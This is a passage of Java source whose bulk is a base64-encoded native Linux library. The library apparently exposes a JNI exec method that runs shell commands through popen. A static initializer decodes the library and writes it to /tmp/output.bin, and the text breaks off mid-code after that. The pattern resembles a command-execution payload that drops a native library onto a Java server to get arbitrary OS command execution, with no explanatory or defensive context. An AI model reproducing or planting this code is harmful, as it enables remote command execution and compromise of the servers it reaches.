AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgAAARsDO0gAAAAIAAAAHPD//2QAAAD88P//jAAAAAzx//+kAAAAlfL//xwBAAAJ9P//RAEAAFb0//9kAQAAcPT//7wAAACk9P//3AAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAsO///+AAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAAGjw//8QAAAAAAAAAAAAAAAUAAAAXAAAAGDw///QAAAAAAAAAAAAAAAcAAAAdAAAAKzz//80AAAAAEUOEIYCQw0GawwHCAAAABwAAACUAAAAwPP//z0AAAAARQ4QhgJDDQZ0DAcIAAAAHAAAAAAAAAABelBMUgABeBAHm3UfAAAbGwwHCJABAAAkAAAAJAAAAHHx//90AQAABFsAAABFDhCGAkMNBkiDAwNjAQwHCAAAHAAAAPwAAAC98v//TQAAAABFDhCGAkMNBgJEDAcIAAAcAAAAHAEAAOry//8ZAAAAAEUOEIYCQw0GUAwHCAAAAAAAAAD//wEPXSIAALkBXcQCAOACBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQEgAAAAAAAFoUAAAAAAAAUBIAAAAAAAABAAAAAAAAADACAAAAAAAAAQAAAAAAAAA/AgAAAAAAAAEAAAAAAAAATQIAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAADoFAAAAAAAABkAAAAAAAAA4D0AAAAAAAAbAAAAAAAAABAAAAAAAAAAGgAAAAAAAADwPQAAAAAAABwAAAAAAAAACAAAAAAAAAD1/v9vAAAAAPACAAAAAAAABQAAAAAAAAAYBQAAAAAAAAYAAAAAAAAAIAMAAAAAAAAKAAAAAAAAAJsCAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAAEAAAAAAAAACAAAAAAAAADgBAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAYAkAAAAAAAAHAAAAAAAAAHAIAAAAAAAACAAAAAAAAADwAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAOAHAAAAAAAA////bwAAAAADAAAAAAAAAPD//28AAAAAtAcAAAAAAAD5//9vAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+D0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAFAQAAAAAAAAYBAAAAAAAABwEAAAAAAAAIAQAAAAAAAAkBAAAAAAAACgEAAAAAAAALAQAAAAAAAAwBAAAAAAAADQEAAAAAAAAOAQAAAAAAAA8BAAAAAAAACAQAAAAAAAAAAAAAAAAAAAR0NDOiAoVWJ1bnR1IDkuNC4wLTF1YnVudHUxfjIwLjA0LjIpIDkuNC4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQCoAgAAAAAAAAAAAAAAAAAAAAAAAAMAAgDIAgAAAAAAAAAAAAAAAAAAAAAAAAMAAwDwAgAAAAAAAAAAAAAAAAAAAAAAAAMABAAgAwAAAAAAAAAAAAAAAAAAAAAAAAMABQAYBQAAAAAAAAAAAAAAAAAAAAAAAAMABgC0BwAAAAAAAAAAAAAAAAAAAAAAAAMABwDgBwAAAAAAAAAAAAAAAAAAAAAAAAMACABwCAAAAAAAAAAAAAAAAAAAAAAAAAMACQBgCQAAAAAAAAAAAAAAAAAAAAAAAAMACgAAEAAAAAAAAAAAAAAAAAAAAAAAAAMACwAgEAAAAAAAAAAAAAAAAAAAAAAAAAMADAAAEQAAAAAAAAAAAAAAAAAAAAAAAAMADQAQEQAAAAAAAAAAAAAAAAAAAAAAAAMADgDgEQAAAAAAAAAAAAAAAAAAAAAAAAMADwDoFAAAAAAAAAAAAAAAAAAAAAAAAAMAEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEQAEIAAAAAAAAAAAAAAAAAAAAAAAAAMAEgBQIAAAAAAAAAAAAAAAAAAAAAAAAAMAEwCMIQAAAAAAAAAAAAAAAAAAAAAAAAMAFADgPQAAAAAAAAAAAAAAAAAAAAAAAAMAFQDwPQAAAAAAAAAAAAAAAAAAAAAAAAMAFgD4PQAAAAAAAAAAAAAAAAAAAAAAAAMAFwDYPwAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGQCAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGgCQQAAAAAAAAAAAAAAAAAAAAAAAAAMAGwAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgDgEQAAAAAAAAAAAAAAAAAADgAAAAIADgAQEgAAAAAAAAAAAAAAAAAAIQAAAAIADgBQEgAAAAAAAAAAAAAAAAAANwAAAAEAGgCQQAAAAAAAAAEAAAAAAAAARgAAAAEAFQDwPQAAAAAAAAAAAAAAAAAAbQAAAAIADgCQEgAAAAAAAAAAAAAAAAAAeQAAAAEAFADgPQAAAAAAAAAAAAAAAAAAAQEAAAQA8f8AAAAAAAAAAAAAAAAAAAAAmAAAAAEAEAAAIAAAAAAAAAEAAAAAAAAAswAAAAEAGgCRQAAAAAAAAAEAAAAAAAAAwgAAAAIADgANFAAAAAAAAE0AAAAAAAAA8gAAAAIADgBaFAAAAAAAABkAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADwEAAAEAEgCIIQAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAHQEAAAAAEQAEIAAAAAAAAAAAAAAAAAAAMAEAAAEAGQCAQAAAAAAAAAAAAAAAAAAAPQEAAAEAGQCIQAAAAAAAAAgAAAAAAAAAWQEAAAIADwDoFAAAAAAAAAAAAAAAAAAAXwEAAAIACgAAEAAAAAAAAAAAAAAAAAAAZQEAAAEAFgD4PQAAAAAAAAAAAAAAAAAAbgEAAAEAGQCQQAAAAAAAAAAAAAAAAAAAegEAAAEAGAAAQAAAAAAAAAAAAAAAAAAAkAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAowEAABIAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAIAACIADgCoFAAAAAAAAD0AAAAAAAAAhAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAngIAABIAAAAAAAAAAAAAAAAAAAAAAAAA6gIAABIAAAAAAAAAAAAAAAAAAAAAAAAABgMAABIAAAAAAAAAAAAAAAAAAAAAAAAAUAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAZAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAiQMAABIAAAAAAAAAAAAAAAAAAAAAAAAAnAMAABIAAAAAAAAAAAAAAAAAAAAAAAAAvQMAACAAAAAAAAAAAAAAAAAAAAAAAAAA2QMAABIAAAAAAAAAAAAAAAAAAAAAAAAA8QMAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAACAAAAAAAAAAAAAAAAAAAAAAAAAAGgQAACIADgB0FAAAAAAAADQAAAAAAAAAOAQAABIADgCZEgAAAAAAAHQBAAAAAAAAVQQAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC44MDYxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBfWlN0TDE5cGllY2V3aXNlX2NvbnN0cnVjdABfWlN0TDhfX2lvaW5pdABfWjQxX19zdGF0aWNfaW5pdGlhbGl6YXRpb25fYW5kX2Rlc3RydWN0aW9uXzBpaQBfR0xPQkFMX19zdWJfSV9NeUNvbW1hbmQuY3BwAF9fRlJBTUVfRU5EX18AX19HTlVfRUhfRlJBTUVfSERSAF9fZHNvX2hhbmRsZQBEVy5yZWYuX19neHhfcGVyc29uYWxpdHlfdjAAX2ZpbmkAX2luaXQAX0RZTkFNSUMAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAHBvcGVuQEBHTElCQ18yLjIuNQBfWk5LU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUU1Y19zdHJFdkBAR0xJQkNYWF8zLjQuMjEAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFRDFFdkBAR0xJQkNYWF8zLjQuMjEAX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX2N4YV9hdGV4aXRAQEdMSUJDXzIuMi41AF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFcExFUEtjQEBHTElCQ1hYXzMuNC4yMQBfX3N0YWNrX2Noa19mYWlsQEBHTElCQ18yLjQAX1pOU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVDMUV2QEBHTElCQ1hYXzMuNC4yMQBwY2xvc2VAQEdMSUJDXzIuMi41AF9aTlN0OGlvc19iYXNlNEluaXRDMUV2QEBHTElCQ1hYXzMuNABmZ2V0c0BAR0xJQkNfMi4yLjUAX19neHhfcGVyc29uYWxpdHlfdjBAQENYWEFCSV8xLjMAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9VbndpbmRfUmVzdW1lQEBHQ0NfMy4wAF9fZ21vbl9zdGFydF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX1pON0pOSUVudl8xMk5ld1N0cmluZ1VURkVQS2MASmF2YV9jb21fanVzdF9NeUNvbW1hbmRfZXhlYwBfWk5TdDhpb3NfYmFzZTRJbml0RDFFdkBAR0xJQkNYWF8zLjQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LnByb3BlcnR5AC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC5wbHQuc2VjAC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmdjY19leGNlcHRfdGFibGUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACoAgAAAAAAAKgCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAuAAAABwAAAAIAAAAAAAAAyAIAAAAAAADIAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAQQAAAPb//28CAAAAAAAAAPACAAAAAAAA8AIAAAAAAAAwAAAAAAAAAAQAAAAAAAAACAAAAAAAAAAAAAAAAAAAAEsAAAALAAAAAgAAAAAAAAAgAwAAAAAAACADAAAAAAAA+AEAAAAAAAAFAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABTAAAAAwAAAAIAAAAAAAAAGAUAAAAAAAAYBQAAAAAAAJsCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAWwAAAP///28CAAAAAAAAALQHAAAAAAAAtAcAAAAAAAAqAAAAAAAAAAQAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGgAAAD+//9vAgAAAAAAAADgBwAAAAAAAOAHAAAAAAAAkAAAAAAAAAAFAAAAAwAAAAgAAAAAAAAAAAAAAAAAAAB3AAAABAAAAAIAAAAAAAAAcAgAAAAAAABwCAAAAAAAAPAAAAAAAAAABAAAAAAAAAAIAAAAAAAAABgAAAAAAAAAgQAAAAQAAABCAAAAAAAAAGAJAAAAAAAAYAkAAAAAAAA4AQAAAAAAAAQAAAAYAAAACAAAAAAAAAAYAAAAAAAAAIsAAAABAAAABgAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAGwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACGAAAAAQAAAAYAAAAAAAAAIBAAAAAAAAAgEAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAkQAAAAEAAAAGAAAAAAAAAAARAAAAAAAAABEAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAJoAAAABAAAABgAAAAAAAAAQEQAAAAAAABARAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACjAAAAAQAAAAYAAAAAAAAA4BEAAAAAAADgEQAAAAAAAAUDAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAAGAAAAAAAAAOgUAAAAAAAA6BQAAAAAAAANAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAK8AAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAC3AAAAAQAAAAIAAAAAAAAABCAAAAAAAAAEIAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAxQAAAAEAAAACAAAAAAAAAFAgAAAAAAAAUCAAAAAAAAA8AQAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAM8AAAABAAAAAgAAAAAAAACMIQAAAAAAAIwhAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADhAAAADgAAAAMAAAAAAAAA4D0AAAAAAADgLQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA7QAAAA8AAAADAAAAAAAAAPA9AAAAAAAA8C0AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPkAAAAGAAAAAwAAAAAAAAD4PQAAAAAAAPgtAAAAAAAA4AEAAAAAAAAFAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACVAAAAAQAAAAMAAAAAAAAA2D8AAAAAAADYLwAAAAAAACgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAAgEAAAEAAAADAAAAAAAAAABAAAAAAAAAADAAAAAAAACAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAsBAAABAAAAAwAAAAAAAACAQAAAAAAAAIAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAARAQAACAAAAAMAAAAAAAAAkEAAAAAAAACQMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAFgEAAAEAAAAwAAAAAAAAAAAAAAAAAAAAkDAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAMAwAAAAAAAAwAYAAAAAAAAdAAAANAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACANwAAAAAAAHoEAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA+jsAAAAAAAAfAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=="; public static native String exec(String cmd); static { byte[] decode = Base64.getDecoder().decode(s.getBytes()); FileOutputStream fos = null; try { fos = new FileOutputStream("/tmp/output.bin"); } catch (FileNotFoundException e) { throw new RuntimeException(e); } try { fos.write(decode); } catch (IOException e) { throw new RuntimeException(e); } try { fos.close(); } 